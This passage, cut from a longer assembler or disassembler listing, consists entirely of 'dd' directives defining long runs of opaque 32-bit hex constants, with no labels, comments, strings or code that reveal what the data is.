4B03B421h, 2DCB9D04h dd 943EA039h, 369A0029h, 0A9B9FCF5h, 0B5000847h, 0B33B13C5h dd 74605683h, 0B83F00D9h, 9D4DE32Ch, 0F0C00592h, 9A06EBE1h dd 0EFF0026h, 60D5BC17h, 0BFEAA821h, 20321000h, 894A6665h dd 120400D9h, 7A9A98C4h, 900A547h, 0A077A1A6h, 6BD634h dd 1ABE0AF2h, 5210D106h, 0C34ACA05h, 8800213Ch, 5661CB7Eh dd 0D1380093h, 0A948A772h, 0E00BF6Ah, 78D894A3h, 69B207h dd 435F0F4Ah, 5B8D5134h, 871E3D00h, 9E562372h, 87FE289h dd 2282204Ah, 73857C00h, 1245C03Fh, 1E9C95C2h, 4E4600DCh dd 755F83B6h, 0E0E59F0Bh, 8D9B000Ah, 1EEA7EE2h, 8232EF61h dd 0D8513745h, 0D12EC440h, 75817903h, 276D13h, 626A5860h dd 677E9DA6h, 0EB6EE202h, 0C01ED340h, 8C469Ch, 72A4C6F8h dd 623F8B90h, 7194F71Dh, 720783D6h, 485013D9h, 0F305EAh dd 79733A12h, 21F817Ch, 31BD8513h, 82E9DB00h, 0B79466h dd 1D40E733h, 0F49AD56Fh, 24724Dh, 0A3361A6Ah, 3F2D2A1h dd 0D42E80DAh, 9A90347Bh dd 3F7C8971h, 0C563CE03h, 886C28E8h, 1F8D4Fh, 66AAEB29h dd 6D3C7D54h, 303AEC1Fh, 6084DC00h, 90AC5116h, 0D668006Dh dd 207C6380h, 0C72C5053h, 8AA85490h, 3600DFE6h, 79E6C40Ah dd 72EC8ED0h, 375B1F67h, 0B22C8090h, 0A6577876h, 80B78B3Ah dd 0B0164A84h, 0FC3ADAE1h, 0A0EB1610h, 530EEFBEh, 317FC0C3h dd 0FBAB49h, 3D7B19E7h, 33E42C2Fh, 832A0D38h, 0D92BCE06h dd 9A4000D7h, 0E829F0C8h, 2F002E3Dh, 0AF250226h, 0B90E59h dd 31458E95h, 493F86D0h, 3EC64214h, 64140080h, 196F35ECh dd 87F6ABh, 0B21CB31h, 25D757C8h, 681C0800h, 0A47CDF03h dd 70892BAh, 58FCE6AFh, 8CE8309Dh, 30000CD9h, 3A22F168h dd 3BEB62h, 6C83D125h, 0FE6D817Dh, 640F9AFEh, 40C8B117h dd 0A3C0982Dh, 848E094Ch, 0A8A14D50h, 108F9455h, 90FD55Ah dd 0D296BD2Dh, 74852C23h, 25A03F93h, 0D9004E55h, 0A21A2BEh dd 0F1837EF7h, 0E7808845h, 6F1561h, 0BB33CAEh, 1643F6FCh dd 1EB86900h, 4DD0D80Eh, 2E1439C2h, 6EDF6480h, 0AC55B7FDh dd 0F50C948h, 0A1CF98E9h, 0A950FCC4h, 20F2F4h, 2BA82958h dd 0B6224024h, 0EC4263Bh, 5AD1B0FBh, 62D3C038h, 635F0E05h dd 0C369BC8Fh, 1B3D5420h, 68004336h, 660FD973h, 40B1AF7h dd 0B467B3A3h, 0A4D0800Ch, 4A005DE0h, 0FDCE4D45h, 0C48135h dd 20F83B1Bh, 473AB0Ch, 91228900h, 7433A027h, 58E5F016h dd 9D001CC5h, 7356D6A1h, 2D00DA2Bh, 7C1826C0h, 7831404Bh dd 209C00DBh, 163F5205h, 711F0470h, 7A43911Eh, 88BFEE89h dd 0FD5DCACh, 5D11B842h, 32C7FA4Fh, 4EE4003Ch, 0AF16695Fh dd 0D440274Dh, 74302247h, 84542492h, 6D280005h, 5F3A403Dh dd 0FD0150FAh, 140EE44Ah, 90D7F931h, 0FEF1Fh, 0DAA40CBDh dd 9D97F7D1h, 5CDEB639h, 0A1B705EDh, 4D0B0E3h, 0BA1EBF06h dd 899C090Ch, 0ED0E2DD0h, 704A398Fh, 91313CB0h, 13A90410h dd 0E42AC069h, 76F00050h, 0B68FB0A5h, 0CF00187Fh, 681E43CAh dd 742A21Ah, 630A1636h, 0E983C005h, 0B200A822h, 0E15F7CD8h dd 6025E7BDh, 0E05650F8h, 42300C59h, 8860906Ah, 1B38383Ah dd 0F5C13380h, 0D570B0C5h, 5E6F60BAh, 44606220h, 0B2688558h dd 205A1000h, 2EC0E93Ah, 60AAC8h, 72BE4965h, 0EC0F797Dh dd 2374A858h, 0EBADBB73h, 0AA4EE089h, 152000DBh, 585B888h dd 0E300E2BFh, 900C7CB5h, 70B304Bh, 0D6EA950Dh, 0F0D7E0EFh dd 0C000A328h, 0B224E542h, 2D6EA62Bh, 0D18CFB8Ch, 0E0018F98h dd 79C9879Ah, 5CC0D4E1h, 5C6675EEh, 482E2771h, 0BEC8002Fh dd 0A40A92B7h, 90357301h, 9AE28525h, 314971EBh, 0B9E1F039h dd 0ECDC506Fh, 0A8047DE7h, 0C83810Dh, 0D8A117C0h, 5677008Eh dd 1B41ABCh, 50D8C929h, 52B7C648h, 741BFC63h, 8EC161A6h dd 133910DDh, 0AB6917FCh, 0E912002Fh, 0D2E5F79Dh, 467C4E00h dd 2DB48B2h, 593A3030h, 0DE670941h, 1290D70Eh, 8DB08026h dd 0C16B5A5h, 3099E2DAh, 6002581h, 27D462C8h, 4E0CB33h dd 0B16F79D8h, 1566C045h, 736FC0A4h, 3B0D80A1h, 1492D9h dd 6121B0C2h, 42B8F96Ch, 60AC2Ch, 36580E00h, 60C05CABh dd 14B73971h, 1B003293h, 0B09E5F15h, 72C6641h, 69918AD9h dd 0AA9A90CCh, 0D40AE4C3h, 0B4589BE2h, 29D60642h, 5E30F00h dd 0C6053097h, 0A2740141h, 0CF069820h, 879C3CEEh, 19D57306h dd 0F0018D2h, 0DAC8E25Eh, 0FB2D0Eh, 643E352h, 5D44452Eh dd 5C69250Bh, 5F0100A3h, 63CA50F6h, 436E0807h, 0F48C2000h dd 637F7AA2h, 98670077h, 94ACCA0Fh, 0C601C8A9h, 0C973582h dd 37E84607h, 0B89B0187h, 624E4925h, 0BC48C963h, 0ABA40048h dd 0E5AAB010h, 0C3451871h, 61F80855h, 3EA20C0h, 1B6C5F11h dd 586DDEE1h, 0AFA81867h, 5169B741h, 0AE451180h, 0DDCEB984h dd 0A695A70Ch, 0C01E0885h, 84B69221h, 3CEA4887h, 502B9007h dd 7B20D57Ah, 0EF2F0D49h, 0F35AE180h, 2ADAD287h, 4D0F3100h dd 0FC58A2B5h, 0C00A015Fh, 56C440B0h, 8890B174h, 0E40D6A5Ah dd 0CE23AC84h, 1F11D5h, 0DD84B793h, 33987DFh, 3016713Eh dd 210027BCh, 0C56231CFh, 4846C2h, 664D5253h, 1A5025E8h dd 0B01F8930h, 75DE5BEh, 0D594E917h, 73151082h, 0AE00ED0Dh dd 1423992Fh, 75B2DDh, 1D9A0A8Dh, 0EFE2FCE7h, 2E794A7Eh dd 0F1EE411Fh, 76ADA6C0h, 0DFE7D1h, 85CAC7B3h, 942855BAh dd 10560100h, 97F1CF2Eh, 37B3BB2h, 7219D680h, 0BB3EDBC5h dd 0A11FAAC0h, 0C686FBh, 0B41D1B3h, 0F51E28BFh, 0CB353E00h dd 8C9EC7Ch, 0B22000CAh, 8A023D5Fh, 578DB5Ah, 0B5186800h dd 73805B96h, 430D036h, 0FC272E0Ch, 28007E10h, 0E4234979h dd 72DEA46h, 2B4574CBh, 0F32EE0EDh, 70760857h, 3C0F321Bh dd 0FD21AC28h, 10D71226h, 8E881081h, 532688B6h, 7A08AB89h dd 84FA1144h, 0AF21A942h, 940E3908h, 5F113C36h, 2C83214Dh dd 0E2293264h, 4FC32882h, 586722h, 0A5E7BED4h, 6BA9E600h dd 93D9038Ah, 13B7581h, 0E951639Dh, 71CC3E2Eh, 0E6B8D4F0h dd 0CE5EEB00h, 0C66112CDh, 0EE1B3DF6h, 0A2761900h, 670A1799h dd 0B40EAC00h, 0D7819A84h, 119E583Fh, 41639600h, 5C8923F8h dd 0A7AE0B00h, 0FCD8B069h, 7DAF0714h, 801FEC0Ch, 9C9A59E1h dd 9F0001F6h, 0E8274F8Dh, 0CA3806h, 86B06135h, 56E7CB95h dd 57886600h, 0D2EC5522h, 6583872h, 5F441780h, 0B913257Fh dd 0B16AD000h, 0D7561940h, 8327002Ch, 1A3DEA03h, 530ECE97h dd 0C0A948E9h, 0E625BAA6h, 5B9301A4h, 0D67492B3h, 0C03AE538h dd 0AC14CB4Dh, 0D72A8Ch, 10450D7Ch, 90CC6490h, 5DA20A20h dd 84A1DBh, 0EA62E7Fh, 457ECAF9h, 776E9C00h, 0AADD069Eh dd 0AE033FFCh, 498C593Eh, 4390EA0Bh, 0C9384007h, 8D217677h dd 5424AD9Fh, 4A57051Ah, 800597F0h, 22B8446Dh, 0A90C6B7Eh dd 7176FBEEh, 0AA18006Dh, 0C47DCEC6h, 0B139822Dh, 0B0E18089h dd 97B56F3Fh, 531600DDh, 0DFA4FD05h, 0C20BFFF5h, 5C4189Eh dd 5B807F40h, 0E32614h, 920489ABh, 3D33F8CBh, 61066E00h dd 240BCA29h, 5AFF009Bh, 7FA57E1Fh, 0C00328ADh, 0B0396BCFh dd 790DE3Ch, 4AC61533h, 7F5C8087h, 4D600BE4h, 5436E5C8h dd 58280EC2h, 9507DA69h, 1F5FE087h, 350F70ECh, 0A09C8563h dd 1D917AAh, 0C62E0738h, 0B0D549FFh, 1F20DC4Fh, 0B00B1B0h dd 3FDE37DBh, 329C75h, 48854693h, 5D837A71h, 0B0481098h dd 3F007106h, 0E23EFE57h, 263703h, 544CF26Ah, 79499695h dd 91D51D00h, 7EFDEE2Ah, 37A0055h, 0E1F82B6h, 3D006ACFh dd 4E46C1C7h, 3C65179h, 3FDB766Eh, 0F7E84956h, 0E800F920h dd 80B9621Ah, 28A6B1ABh, 2F8F5E0h, 296C3DBh, 9E0EE8Bh dd 0C00BF27h, 9251F4EBh, 1ED8625Ah, 28395754h, 869C009Ah dd 5CB25699h, 0F903BED1h, 3996F0E0h, 0CEFD9022h, 42D40205h dd 66467D1Bh, 60776860h, 57925200h, 65AF7B25h, 114E00E4h dd 0EB410BFCh, 377AA297h, 0A0071AE4h, 0C1CCD61Fh, 42E3BD0h dd 0DB750026h, 4217AE58h, 0B900BB73h, 8C43F4E7h, 55DE6D4h dd 2D20B707h, 66E8006Ch, 0DF17EB11h, 3946E460h, 0A936D1h dd 254505F2h, 0A493385Bh, 7F3BBFFAh, 0D27E8FA5h, 1EC180FBh dd 0B79ADFh, 0BBB8A617h, 207FB6FDh, 0F9011509h, 2E640010h dd 413DECh, 3663DA2Fh, 0FB46099Dh, 0E940150Fh, 198002AAh dd 0FAE4612Bh, 0B4C1F4h dd 0C8AE612Ah, 0D0D5914Eh, 38C0600h, 0F0A2E972h, 7CECFE87h dd 693A0048h, 976FDA2Eh, 4B4C885Ch, 408C0042h, 0A3B078D1h dd 7BF800D8h, 0C97AD7E5h, 95004F5Fh, 943EFA0Fh, 0A01F52D3h dd 171A43A4h, 0B323Dh, 3BAA2F2Bh, 5B009E08h, 0E3B2B79Fh dd 7A77591h, 0B9476374h, 5E591009h, 0DD006BA5h, 0F8E7A237h dd 0F1AB27h, 6CFAC129h, 3D925C09h, 50204Dh, 3C06E2EBh dd 0C1DB62h, 833B3AEEh, 0BA51336Eh, 0F4397A00h, 0DECA69FFh dd 5A85019Ah, 0BF3106B9h, 0B5A6F816h, 0CE0E0FE0h, 2389B319h dd 0C01BA576h, 7BB0CCA3h, 0CFA42C5Ah, 0EC2D94A4h, 0C92A6007h dd 443F50B1h, 0B0C4B386h, 0ACC024EDh, 1E886223h, 3F272D9Ch dd 8945750Fh, 3FD69960h, 8459D11Bh, 0B6A304B0h, 34C0035Ch dd 68B7BFh, 0A47625E9h, 9CD9748Dh, 5D3BFA00h, 0F822C3EDh dd 717A091Ch, 0C084B4FFh, 3F2B80F6h, 5A0968BAh, 809CFCCFh dd 1871CEDCh, 0D8983044h, 1C8C5140h, 0BC3FF400h, 790C9922h dd 770E003h, 0CD9EEFEDh, 2AF64046h, 0A302E4F3h, 3993AD80h dd 7EDA4148h, 3CB68C30h, 9263DDAEh, 0D5B80821h, 1004CBDh dd 0AA2687B0h, 1CF58312h, 0C0301154h, 0E9423F96h, 0F4244B33h dd 0AD01C015h, 0D97D3E8h, 0EF40C835h, 65205Bh, 26F44DA8h dd 0A74B8B72h, 1D48AA74h, 0CA5820h, 23B64590h, 95164Eh dd 2775CE3Ch, 0E49AD734h, 0BDF03F60h, 21DD112h, 661AD6D9h dd 64E84F96h, 1002FEDh, 4B2449DDh, 0C7BE33AEh, 13F4AB81h dd 0CCD8B948h, 0FCB016ECh, 7661150Eh, 0C011E104h, 708F294Fh dd 18C9D67Dh, 25706E8Ch, 3AD7A3Bh, 3AC14853h, 612CA097h dd 4AB70249h, 1DBA750Fh, 9A95CC0h, 1F3AA700h, 2938BB74h dd 9C2A1D83h, 0CA06818Dh, 209D2CEDh, 5420A40Ch, 0BD162C67h dd 0A2803F51h, 0CEBE6F42h, 11095E8Bh, 28FE4h, 35F69618h dd 0FBBD1350h, 0CC380377h, 0A09F8E2Bh, 0BBB0EF5Dh, 169C2100h dd 7C23D77Ah, 421C00BFh, 0D50572CFh, 611EB1C5h, 28C0D822h dd 59EDE729h, 0CD90FD0h, 4620A7D2h, 3965AA9Ah, 1D6FEE00h dd 174E99A8h, 0BD12075Bh, 0B0FFF7F6h, 64593ABh, 64B6F80Ch dd 1ECCCE9h, 14DFDEDDh, 47FF5F07h, 7F5621C4h, 2388C4AEh dd 78AAF200h, 9AC2C9ABh, 0F86B00D4h, 90B2E6C1h, 1500FED7h dd 0C6A37E3Fh, 382B6675h, 53808EA9h, 4EB8B0D6h, 0AF2E21EAh dd 0E602A80Fh, 6844ED4Ch, 516830h, 16C5496Ah, 0B999C1C4h dd 0E60B1300h, 0FA86D1CCh, 0E0A0A0F8h, 41693C51h, 0A09068h dd 0E3D23F78h, 2D14E2B9h, 0E0FFF8h, 275E4EDDh, 9022E92h dd 144ABD6Bh, 96CDEC00h, 51003C3Bh, 0CA82FBADh, 797508h dd 9F29988Ah, 1D52D0F4h, 34555B00h, 3FA46F30h, 1C7124FBh dd 0CEA80040h, 785192AFh, 0BA1696C1h, 7C2055C8h, 0C0904CD1h dd 0A4146500h, 0EBB4CBC5h, 0CA0CB8C0h, 5314C26h, 787E2977h dd 0AB84D221h, 0BBB045h, 87FACC2Ah, 3389A83h, 0B975E286h dd 0CAC92DE3h, 6B5DE8B6h, 5056FA04h, 408072AEh, 280B8B3h dd 0F244E3C0h, 2E41E548h, 7020F54Eh, 8E06E66Ch, 2154DB97h dd 0E4F0010h, 0DC704207h, 0EF136350h, 0E000679Fh, 0A321A690h dd 348901F8h, 3DCDAE02h, 4048C93Eh, 103AD5D8h, 5BDDD201h dd 1F408E0Eh, 0F2DC20h, 0E2FCE99Fh, 0C69015D9h, 9B3DC900h dd 0BD2CE39Eh, 511A00A0h, 7044B94Fh, 0D7002634h, 0EF0B4295h dd 34CC4h, 18F4A6E8h, 3BD8D90Ah, 58B03477h, 2E3A2F58h dd 884F40B8h, 0B12EBh, 22C4E67Ch, 73009D20h, 0A39A369h dd 1F06B779h, 403338EDh, 44FF243Eh, 3A0E1E0Bh, 0E0AC66E1h dd 0BF7576ECh, 1FAF00DDh, 5D976490h, 0C300EF4Fh, 3FF135EDh dd 1A8D05h, 0C6C9BB70h, 0A9923746h, 9A677C00h, 289665A8h dd 0E3D40040h, 4173C16Fh, 0A206D38Dh, 4B99AE45h, 0AF310040h dd 5C58F7A7h, 3400FFD5h, 0C763151Dh, 281AD4B3h, 28A0379Bh dd 0C099DBh, 0A86F5B76h, 0F3A674CDh, 27000A7Fh, 83070916h dd 98CF0310h, 0F4CD4870h, 54D18E00h, 2EAB2D6Ch, 0BDA8081Ch dd 7CFEDA04h, 47F76A80h, 66DE00D6h, 80AE6055h, 0A600C363h dd 0C6868718h, 6B776Ah, 4EBC8316h, 0E2648EA2h, 6747361Dh dd 0E700F4BAh, 0F2967577h, 400953h, 0C9345F38h, 6A03B72h dd 48AB48h, 8DEE3F11h, 0BE6280h, 0BF1939A1h, 20909D0Dh dd 7BC5161Ch, 69CA4040h, 1C8E7330h, 98AE815Fh, 34CB3060h dd 391EB212h, 7855D400h, 143366h, 0D9A41D4Bh, 1CC59BCCh dd 149FE00h, 8F035897h, 0F8920086h, 0E28BA5F4h, 0FA7AAC0Fh dd 84CE3228h, 45D3Eh, 7FA0A62Dh, 0CB8463Dh, 0EEFFD973h dd 6D3C4256h, 7FA3C50h, 0F5E530A9h, 0C2E1F8C0h, 91D20371h dd 0C84EE606h, 4F192DE8h, 0E2DDCF00h, 7AFB477h, 0AC793E9Eh dd 0CD920F7Fh, 11A03A53h, 52C04BF5h, 0E80EBAE0h, 9C1875C2h dd 30624200h, 7B3E12h, 1219AA1h, 452E935Ch, 6F052F02h dd 48D11A2Bh, 80B949E8h, 0CCBAF6E8h, 3002FEE6h, 50188A35h dd 19F44085h, 460E2429h, 68BE0008h, 2245766Ch, 0CB471B1Ch dd 0A071CF0Fh, 213DC78Dh, 9F7E0032h, 0A9173C35h, 4A001287h dd 0BAC25B5Fh, 7A50162h, 0D1BF7F4h, 91A7229h, 38E09DC0h dd 8BE55100h, 0F7CFC3B1h, 9A8B0A6h, 7A292D55h, 1A24D040h dd 17CD9F00h, 22F0A0E9h, 0BA8F06A7h, 0A03531E6h, 805E533Ah dd 2DBE17ECh, 3167DF6h, 2F815B4Ch, 2BC31182h, 0E45F5803h dd 1D9E0BF2h, 0C0C1FBE0h, 0A668CF36h, 75008808h, 15EFE0CAh dd 9C13ACh, 0B82E424h, 0DADE855Dh, 0F74C357Fh, 0E6E500BCh dd 5CE3CDB5h, 0C4FD0168h, 0E9B28E0Ch, 1861F426h, 0D3708C00h dd 37CDE459h, 0FE961323h, 890058Fh, 3150806Ah, 0C71C9974h dd 0E7136E25h, 0B7573C00h, 0EE64D2B5h, 0B35C0068h, 0B90D54F1h dd 0F7009CF5h, 73BC317Bh, 308FFDB1h, 0C4D885ABh, 0E38DEDFh dd 661B0EB3h, 0FEE86077h, 5831043Eh, 843C087Fh, 791C3880h dd 707681D8h, 4D2B3907h, 0E00E7B87h, 1C53FAE5h, 0CAAC03C8h dd 0DB419C4Bh, 0EE5460D8h, 4DBDD400h, 1F38BB6h, 1C20ED12h dd 975C0302h, 0BA0AAB4h, 5933C002h, 407656ECh, 7855510h dd 3546B562h, 0C8D0903Ah, 5902F742h, 0B611F383h, 5CCE84Dh dd 0BF8012CDh, 40531647h, 1B84F8B8h, 0C6180B49h, 0A461F9FCh dd 8B2096A0h, 182030D5h, 48D81C51h, 5CA2040h, 7AA411D7h dd 0E11490F1h, 5602C326h, 396654F4h, 0F0E46034h, 0BB981D3Ch dd 4BBD4A0Ah, 705528C3h, 7CCE021Ah, 0A00821D1h, 60C4E2F7h dd 0CA2718h, 3EB5C199h, 0B53B13Fh, 166D458h, 3CCB1B79h dd 2070767Dh, 7AAD0F4Eh, 8260AA87h, 5AC65B22h, 2644A438h dd 0C0259669h, 2B856Fh, 0F5786750h, 177FD8EAh, 80FF403Eh dd 93A9EFEDh, 6E2C42h, 3322AB70h, 775537D2h, 1D49F600h dd 16807B3h, 5B160065h, 46613ACAh, 0A40FDD59h, 82BA423Ch dd 40EDC094h, 27318Ch, 1AFD552h, 602F72B8h, 6DD8B300h dd 48232BF8h, 0F64D00BEh, 41B06C7Ah, 400217Fh, 0A6FC36F7h dd 0EE12D6h, 9E1B76EBh, 0A5B730D8h, 94E7DE13h, 11CC2C00h dd 0DA3707h, 6F6222FFh, 0D84A5AF0h, 7870BD00h, 9E5DC2A1h dd 869000C8h, 0A2E50B4Eh, 0E00B279h, 753AA6DAh, 7E98EF2h dd 592BF5AFh, 6EC620D5h, 5C00E08Ah, 0A4FC4A57h, 49234CFh dd 8FF0EBC4h, 8380A421h, 9607843Ch, 0BC014C25h, 126C6D5h dd 77B43020h, 7C5799Eh dd 0E2A9CA90h, 1AA2B0B9h, 833DFDE3h, 6A8E9F31h, 0D9461F40h dd 4BC696h, 0F2ADAE7Fh, 7BD6A835h, 0C98E38h, 0F779C256h dd 3FAC6728h, 40CA14EEh, 96358E38h, 2C00F446h, 9F803479h dd 7D69905h, 0C8A7203h, 9B449E3Fh, 208083FFh, 8856B088h dd 0EC3D7E00h, 0BE7F2CA7h, 6E7770h, 0CBBA33B7h, 0D7B0A635h dd 0D576F900h, 5B0653C1h, 963A0363h, 889FC24Fh, 0F1BEC0BCh dd 5712BA43h, 2C0760B8h, 0C0699BA2h, 8835D970h, 7400B249h dd 2101FCC1h, 0B4EAAA64h, 0A0990FCCh, 59930A60h, 8E003E71h dd 2313561Eh, 0A169F8h, 2E5E1496h, 8EA0BA6h, 9D0AE500h dd 705D3961h, 0AF7A51h, 442D953Ch, 92A75C7Fh, 7250DF00h dd 0C8E59FCBh, 4F151F91h, 56DF32h, 0F6981D40h, 7B00F3A1h dd 1A1625B9h, 52E757h, 94782F6Fh, 0DB1E533Eh, 153CC61Fh dd 0AA10F300h, 7B9772h, 0E6285987h, 0F1D36653h, 9F142001h dd 724D0CD5h, 48B2F2ECh, 9400EFF9h, 4A4C6C37h, 223E6D51h dd 809A809Dh, 0C3CC92DEh, 75D4139Ch, 9FEC0050h, 21EE0576h dd 0DCD38B00h, 0B04CC9FCh, 8FB404C2h, 0C023380Eh, 5E13CE34h dd 1E7EBC2Eh, 2E835D04h, 509B5FC0h, 4D55009Fh, 0A51B8C41h dd 0F000E498h, 7FCA0C0Eh, 0F822C4h, 195BB228h, 146E84B0h dd 54B86409h, 6B3480F0h, 4D52F50Fh, 40090C7h, 9FF2DB5Eh dd 8509D827h, 0E561986h, 6124030h, 0AA7BA0h, 179DC196h dd 0D2054DD1h, 9043A3Eh, 505708h, 114B7CA4h, 0E529004Ah dd 1DBB8AD9h, 0A0175B30h, 0F50AF846h, 90400C05h, 172C678h dd 0EA96C9F1h, 0E477CD71h, 7E003874h, 5123EDDAh, 90CA3C75h dd 0BBE13D2Ch, 0EEB3AC00h, 2220ADB1h, 8012C0C0h, 2DCC9h dd 0E770F5BAh, 0BED81DA9h, 9A0BC300h, 2E38FAC0h, 49253E4Ch dd 75B65200h, 0A4D227A3h, 0C7562B01h, 0E9B95485h, 285F38C8h dd 94EA11h, 0FF71C30Fh, 0D315C910h, 2B41D91Eh, 381881E7h dd 0B06C40B4h, 60792F00h, 9F6333F6h, 43201C62h, 1CA07024h dd 0D8D0B083h, 58F711F9h, 29C05698h, 42F327A6h, 0EED0344h dd 772375ACh, 14673E90h, 21025800h, 0FCAA7F53h, 0B7BAC0D6h dd 0F38D16B2h, 0E1A8B460h, 1DEE7C52h, 0C0F1DEF4h, 9FC56AD2h dd 0C700C92Ch, 0B380A257h, 0EE6FAh, 189A9CAFh, 47AC6465h dd 0E40CF207h, 202FC2B8h, 7E5CED57h, 0EC7A58A7h, 4724FE1Fh dd 1FB2E92Bh, 8AE015EEh, 7CD33D78h, 722C6607h, 0A5738364h dd 0ACB9B0EBh, 0E1620532h, 439C0B3Fh, 82F3B4CCh, 0FCA44FA8h dd 51244C00h, 0FA40E9D8h, 0F1AB0011h, 5ADC703Eh, 2702AD96h dd 0A38CCCC9h, 0A1C0E150h, 0E83BE1C4h, 0B660E81h, 3040892Bh dd 292595Ah, 0B840EA00h, 8A336B73h, 4CF20019h, 485242E5h dd 0EB793712h, 0AFCF8C04h, 79C061F9h, 0E5E5C85h, 51BED727h dd 80C42305h, 5669000h, 0A8654Ch, 84582BC9h, 5D8AE6h, 5EB65A79h dd 65FFF4A8h, 0A9A4C617h, 54B28CD0h, 45E00096h, 0D1304F20h dd 291FDEE5h, 2EB99248h, 8200F0ACh, 14EF7075h, 4840619Ch dd 0F893EA8Ah, 9B12F803h, 81C6FDBh, 0AA4E719Dh, 23CC0AFh dd 1C850AEh, 1B62B5BAh, 7098EA03h, 9035DCDFh, 0FD80101Ah dd 0FF8B670h, 89B9C9C2h, 9751503h, 21D76287h, 20E40461h dd 0E301FE71h, 446A744Ah, 32ECF642h, 0B4116013h, 8CAC073Fh dd 10B8727h, 9CC7C3F4h, 4B68CECFh, 99C4B0F2h, 40D88100h dd 5EB4CC8Ah, 717C60h, 290DC269h, 0F8370A0h, 0E0BF4828h dd 61132800h, 5138C4C9h, 1D21FF3Ch, 0CD7420h, 754D71CEh dd 1F288D61h, 0E62C1B7Dh, 3D8318F5h, 0A1E1012Fh, 0C5D85E89h dd 9351007Eh, 0D54758AEh, 305677Ch, 0C1C344FAh, 0AB200CC0h dd 9F6D0F89h, 5A2070F8h, 5C4501DFh, 3F17FD12h, 76B3A503h dd 3DAFA972h, 84D2A080h, 0D361279Ch, 6ACF2000h, 6B126936h dd 57660016h, 65E27EA5h, 0D507A86Dh, 0E876883Fh, 450503C0h dd 1A22004Fh, 0A57FA798h, 0A40C398Eh, 10A81D66h, 0EB5A001Bh dd 0A91AF30Ah, 0AF001F59h, 56FCB8FFh, 5CB34D9Fh, 19004911h dd 0BBFCC8Eh, 6B1FA834h, 0DE023B70h, 70903DE2h, 1BD600B4h dd 6875456h, 0A9DFF482h, 974F6300h, 349F80Dh, 80ACB3C4h dd 33D008DCh, 6C005702h, 0A720F02Ah, 58C81143h, 5C38408Ch dd 2EC5D13h, 0ED469320h, 0BF82ACF1h, 0F0888976h, 0C7E10040h dd 3D7F5F0Dh, 0BE175DEBh, 38800A4Fh, 731DA5h, 0BC447E7h dd 3F50787Eh, 0D555161Dh, 0B71B95C7h, 0D4215680h, 0F304074Eh dd 6069B290h, 6F994812h, 0C523DA12h, 80AF460Bh, 89CB191Ah dd 38B100BEh, 93588539h, 8F005F99h, 1CA0F8D7h, 3D7C2EC5h dd 0D40017BBh, 0C7845420h, 1A0014B2h, 3C369CE0h, 127FA14Ah dd 97C126Ah, 0C9800EFAh, 0D0ABEAC7h, 0F35B1B17h, 0C2BF4100h dd 0EB80A0h, 0F177480Eh, 78D17FEFh, 0FD35E600h, 0F41A1325h dd 0BB17855h, 0B38EF038h, 0B5838055h, 1E7E8387h, 215CFFh dd 0AD1ADFEDh, 987778EEh, 644201Dh, 0C700AF52h, 73FE1027h dd 80F54F8Bh, 4E9B7F0Bh, 48CB2613h, 758CD903h, 0A0A8A838h dd 6C16088h, 0B5B676E6h, 0E35DF91Ch, 9D45EA81h, 0D0D43304h dd 3ED5002Bh, 0ACE153E5h, 48007DD3h, 82E87FF3h, 0E0FB8F8h dd 0BA8CF416h, 0E5E67360h, 0E0008184h, 24FD296Bh, 0EC3D7E4h dd 0E8C85C09h, 0C44E32A0h, 0D02697Fh, 4B9AD171h, 78AC81E7h dd 0C0C9E976h, 2F97FBF4h, 150049C4h, 3AF75DFFh, 2C393500h dd 8A30BD7Eh, 86200ACh, 0CB1744EAh, 3507E05Bh, 2040C58Dh dd 61F3C777h, 67100084h, 0E12D4CD7h, 6877CFDEh, 0F7C0807h dd 4DC05289h, 238198h, 0E8C7C1D9h, 4B42D6DEh, 0E2142F09h dd 0C4A102EBh, 3462C165h, 0DD7EC4h, 0EA3C6F0Bh, 20CABBB7h dd 0F520A13h, 8F976100h, 0A1BA98h, 928C2FF3h, 942E1F07h dd 0F9F43Fh, 5216534Dh, 280E8867h, 2D2383Ch, 865CDD64h dd 0A0A0E6C5h, 96EB12C7h, 0E029C828h, 8A5B8900h, 27471F7Ah dd 9CF00090h, 198D1824h, 0B9002378h, 915F28FAh, 36E82BBh dd 34952BA0h, 48D01B76h, 0B700254Ah, 0D0025C2Ah, 7836F4h dd 0D208DADDh, 5A1DEBACh, 0FEBD1000h, 0F591C0A0h, 784D6014h dd 0EE8A194Eh, 0B732CC00h, 2DF99A40h, 0C0087D22h, 0D5F16720h dd 0E70C66EFh, 0B152804Ch, 0B72F37CFh, 0D6328040h, 336FB1F2h dd 59906108h, 42D4EEE4h, 6BE0FBDh, 0B640CDE6h, 34198B04h dd 9678F2F0h, 0C052E505h, 6FC30B25h, 161EC04Bh, 32AE059h dd 0EE048FBDh, 0CA03BA55h, 823D3041h, 2E3B88F9h, 3640A04Dh dd 0CB52304Ah, 722BA50h, 96B5E607h, 6410C776h, 3D99215h dd 87E5E98Bh, 0F59B8297h, 9384A003h, 98DDAB22h, 13E437Fh dd 0BF025BA0h, 0E3DC579Eh, 84E21C39h, 0C0351350h, 0C50AB890h dd 0CAE10038h, 914B67B6h, 3600EF92h, 0E5406F3Fh, 5B29BFh dd 4CD3819Bh, 2650B3B8h, 4E1B6C90h, 0E0B9E7E1h, 76B48B2h dd 0D290BD12h, 0D3FB3054h, 400989Eh, 240CDD76h, 0BD407169h dd 0BF609978h, 0C7E78981h, 0DCC3000Fh, 3A4FAA4Ah, 0BF1CBC47h dd 0A24C2644h, 39EE294Dh, 668175AEh, 0CFC5D6B1h, 0E1088CD9h dd 70D2018h, 4CD5750Ah, 0E29C0322h, 8200197Dh, 769B62Eh dd 3BF24A6h, 944C7D86h, 338803BEh, 32069821h, 0ACDB7CD9h dd 8A1D0688h, 0E1B6ED9Dh, 8CECEB00h, 0F5EE33AEh, 64C1D19h dd 21EE3BF6h, 408CDCDEh, 0D1D38477h, 9A119857h, 8E00E6E0h dd 2C5A25FAh dd 290019B2h, 0E9606DD9h, 1C567911h, 6E60801h, 0F88E9599h dd 6B2FAA0Ah, 651C94F0h, 0C3969D41h, 0EA476E22h, 84390A20h dd 7FA3D7Dh, 28DD07FFh, 6077D79Fh, 6FD15482h, 6F26700h dd 292CE094h, 8F8E01F3h, 0E2D39BB2h, 7A33701Ch, 1EE6EBF8h dd 83B018C0h, 0E8D9C6F8h, 0FA9E00C8h, 0D256840Eh, 0A118EDE7h dd 0DC08E83Bh, 9A20C076h, 4C388433h, 238F7E06h, 30482B4Fh dd 9D205326h, 0CB005DBEh, 50CE28F8h, 6C9CAA8Ch, 0DA207891h dd 0D2A833Ah, 11C3FEE8h, 7C184FD8h, 